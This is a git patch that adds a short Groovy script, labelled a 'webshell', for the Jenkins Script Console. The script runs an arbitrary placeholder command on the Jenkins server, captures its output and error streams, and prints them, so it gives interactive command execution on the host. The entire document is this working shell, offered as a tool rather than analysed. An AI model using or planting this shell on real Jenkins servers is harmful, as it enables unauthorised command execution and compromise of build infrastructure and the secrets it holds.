From 4f12541fdf300edab31f6f8de563e00637f556d0 Mon Sep 17 00:00:00 2001 From: dade <0xdade@users.noreply.github.com> Date: Thu, 20 Jul 2017 18:19:17 -0700 Subject: [PATCH] Lame groovy webshell for jenkins script console --- Jenkins-Script-Console-Shell.groovy | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 Jenkins-Script-Console-Shell.groovy diff --git a/Jenkins-Script-Console-Shell.groovy b/Jenkins-Script-Console-Shell.groovy new file mode 100644 index 0000000..b200f17 --- /dev/null +++ b/Jenkins-Script-Console-Shell.groovy @@ -0,0 +1,11 @@ +/* +Using Jenkins Script Console, this is a (pretty lame) shell to interact with the server itself +*/ + +def command = '[YOUR COMMAND]' +def sout = new StringBuffer(), serr = new StringBuffer() +def proc = command.execute() +proc.consumeProcessOutput(sout, serr) +proc.waitForOrKill(10000) +println "out> $sout" +println "err> $serr"